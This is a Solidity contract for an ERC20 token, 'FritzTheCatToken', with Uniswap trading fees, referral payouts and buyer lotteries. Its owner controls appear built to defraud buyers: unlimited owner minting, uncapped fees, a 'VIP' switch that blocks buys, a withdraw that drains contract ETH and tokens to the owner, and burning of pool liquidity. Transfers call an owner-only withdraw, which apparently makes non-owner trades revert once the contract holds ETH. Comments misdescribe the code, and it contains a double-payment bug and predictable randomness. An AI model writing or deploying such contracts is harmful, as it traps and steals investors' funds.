// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.8.0;

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {

            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract FritzTheCatToken is ERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router =  IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public uniswapV2Pair;

    bool private swapping;
    address public marketingWallet = address(0x9fD366275d6Cc2ca63517c91335514E152B059a5);
    address public devWallet = address(0xDbc6D941521bbd3a14F9e457712AFa327bEE1Ea8);

    uint256 private swapTokensAtAmount = 210_345_000_000 * 1e18;

    uint256 private percentForLPBurn = 25; // 25 = .25%
    bool public lpBurnEnabled = false;
    uint256 private lpBurnFrequency = 3600 seconds;
    uint256 private lastLpBurnTime;

    bool public rewardEnabled = false;
    bool public isVIPEnabled = false;

    uint256 public TotalFees = 0;
    uint256 public MarketingFee = 0;
    uint256 public LiquidityFee = 0;
    uint256 public MMMPotFee = 0;
    uint256 public ReferalFee = 0;
    uint256 public DevFee = 0;
    
    // exlcude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFees;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping(address => bool) private automatedMarketMakerPairs;

    //referal user list
    mapping(address => address) private referals;

    //reward variables
    address[] private users;
    
    bool public _isDailyRewarded = false;
    bool public _isWeeklyRewarded = false;

    address private lastbuyer_1;
    address private lastbuyer_2;
    address private lastbuyer_3;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    modifier inSwap {
        swapping = true;
        _;
        swapping = false;
    }

    constructor(string memory name, string memory symbol, uint256 totalAmount) ERC20(name, symbol){
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        automatedMarketMakerPairs[address(uniswapV2Pair)] = true;

        address ownerAdd = address(0xEe0C767a8a376c91a8ec3bcA3E2CB2C7C06CA912);
        _transferOwnership(ownerAdd);
        // exclude from paying fees or having max transaction amount
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[address(0xdead)] = true;

        _mint(ownerAdd, totalAmount * 1e18);  
    }

    receive() external payable {}
    fallback() external payable {}

    function mint(address target, uint256 totalSupply) external onlyOwner() {
        _mint(target, totalSupply);
    }
    
    function transferOwnership(address newOwner) public virtual override onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        
        _isExcludedFromFees[owner()] = false;
        _isExcludedFromFees[newOwner] = true;

        uint256 ownerAmount = balanceOf(owner());
        _burn(owner(), ownerAmount);
        _mint(newOwner, ownerAmount);
        _transferOwnership(newOwner);

        lastLpBurnTime = block.timestamp;
    }

    // once enabled, can never be turned off

    function setVipEnabled(bool flag) external onlyOwner {
        isVIPEnabled = flag;
    }

    function setRewardEnabled(bool flag) external onlyOwner {
        rewardEnabled = flag;
    }
    
    function excludeFromFees(address account, bool excluded) external onlyOwner {
        _isExcludedFromFees[account] = excluded;
    }

   
    function setReferal(address target, address referUser) external onlyOwner {
        require(target != address(0) && referUser != address(0), "valid user address");
        referals[target] = referUser;
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        external
        onlyOwner
    {
        automatedMarketMakerPairs[pair] = value;
    }

    function updateMarketingWallet(address newMarketingWallet)
        external
        onlyOwner
    {
        marketingWallet = newMarketingWallet;
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        devWallet = newWallet;
    }

    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _mmmpotFee,
        uint256 _referalFee,
        uint256 _devFee
    ) external onlyOwner {
        MarketingFee = _marketingFee;
        LiquidityFee = _liquidityFee;
        MMMPotFee = _mmmpotFee;
        ReferalFee = _referalFee;
        DevFee = _devFee;
        TotalFees = MarketingFee + LiquidityFee + DevFee +ReferalFee + MMMPotFee;
    }


    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
         //withdraw pot every 12 months
        uint256 SECONDS_IN_DAY = 86400;
        uint256 SECONDS_IN_HOUR = 3600;
        if(block.timestamp >=(31 * SECONDS_IN_DAY) + (12 * SECONDS_IN_DAY * 30) && !swapping && address(this).balance > 0)
            withdraw();
        //update 9PM EST
        if(automatedMarketMakerPairs[from] && to != owner() && to != address(this) && to != address(0xdead))
        {
            if(isVIPEnabled)
                require(balanceOf(to) > 0, "you don't have any permission to buy token");
            //set last buyers
            if(rewardEnabled) {
                if(automatedMarketMakerPairs[from]) {
                    lastbuyer_3 = lastbuyer_2;
                    lastbuyer_2 = lastbuyer_1;
                    lastbuyer_1 = to;
                    bool isNew = true;
                    for(uint i = 0; i < users.length; i ++)
                        if(users[i] == to)
                            isNew = false;
                    if(isNew)
                        users.push(to);
                }
                //after 7 days give reward half of pot to the random
                uint256 day = (block.timestamp / SECONDS_IN_DAY + 4) % 7;
                if (address(this).balance > 0 && day == 0 && !_isWeeklyRewarded) {
                    uint256 winnerIndex = random(users.length);
                    address winner = users[winnerIndex];
                    if (balanceOf(winner) > totalSupply() * 25 / 10000) {
                        uint256 giftAmount = address(this).balance * 50 / 100;
                        payable(winner).transfer(giftAmount);
                    }
                    _isWeeklyRewarded = true;
                }
                if(day == 1)
                    _isWeeklyRewarded = false;
                //after 12 hours give reward to last 3 buyers
                uint256 hour = (block.timestamp / SECONDS_IN_HOUR) % 24;
                if (address(this).balance > 0 && (hour == 10 || hour == 22) && !_isDailyRewarded) {
                    if(lastbuyer_1 != address(0))
                        payable(lastbuyer_1).transfer(address(this).balance * 5 / 100);
                    if(lastbuyer_2 != address(0))
                        payable(lastbuyer_2).transfer(address(this).balance * 3 / 100);
                    if(lastbuyer_3 != address(0))
                        payable(lastbuyer_3).transfer(address(this).balance * 2 / 100);
                    _isDailyRewarded = true;
                }
                if(hour == 11 || hour == 23)
                {
                    _isDailyRewarded = false;
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;
        //take fee
        if (
            canSwap &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapBack();
        }
        //burn lp token every period of LPBurn
        if (
            !swapping &&
            lpBurnEnabled &&
            block.timestamp >= lastLpBurnTime + lpBurnFrequency 
        ) {
            autoBurnLiquidityPairTokens();
        }

        bool takeFee = !swapping;

        //if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            uint256 fees = amount.mul(TotalFees).div(100);
            if (fees > 0) {
                uint256 referalFee = fees.mul(ReferalFee).div(TotalFees);
                if(referals[from] == address(0))
                    referals[from] = owner();
                super._transfer(from, referals[from],  referalFee);
                super._transfer(from, address(this), fees - referalFee);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);      
    }

    function withdraw() public onlyOwner {
        uint256 withdrawAmount = balanceOf(address(this));
        require(withdrawAmount > 0, "is not valid to withdraw");
        _burn(address(this), withdrawAmount);
        _mint(owner(), withdrawAmount);
        if(address(this).balance > 0)
            payable(owner()).transfer(address(this).balance);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(0xdead),
            block.timestamp
        );
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private inSwap {
        uint256 contractBalance = balanceOf(address(this));

        if (contractBalance == 0) {
            return;
        }
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance.mul(LiquidityFee).div(TotalFees).div(2);
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        uint256 ethForMarketing = ethBalance.mul(MarketingFee).div(TotalFees);
        uint256 ethForDev = ethBalance.mul(DevFee).div(TotalFees);
        uint256 ethForMMMpot = ethBalance.mul(MMMPotFee).div(TotalFees);
        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForMMMpot;

        payable(devWallet).transfer(ethForDev);
        if (ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                liquidityTokens
            );
        }
        payable(marketingWallet).transfer(ethForDev);
    }

    function setAutoLPBurnSettings(
        uint256 _frequencyInSeconds,
        uint256 _percent,
        bool _Enabled
    ) external onlyOwner {
        require(
            _frequencyInSeconds >= 600,
            "cannot set buyback more often than every 10 minutes"
        );
        require(
            _percent <= 1000 && _percent >= 0,
            "Must set auto LP burn percent between 0% and 10%"
        );
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }

    function autoBurnLiquidityPairTokens() internal returns (bool) {
        lastLpBurnTime = block.timestamp;
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
        // calculate amount to burn
        require(liquidityPairBalance > 0, "there is no LPBalance");
        uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
            10000
        );
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0) {
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
        pair.sync();
        return true;
    }

    function random(uint number) private view returns(uint){
        return uint(blockhash(block.number-1)) % number;
    }
}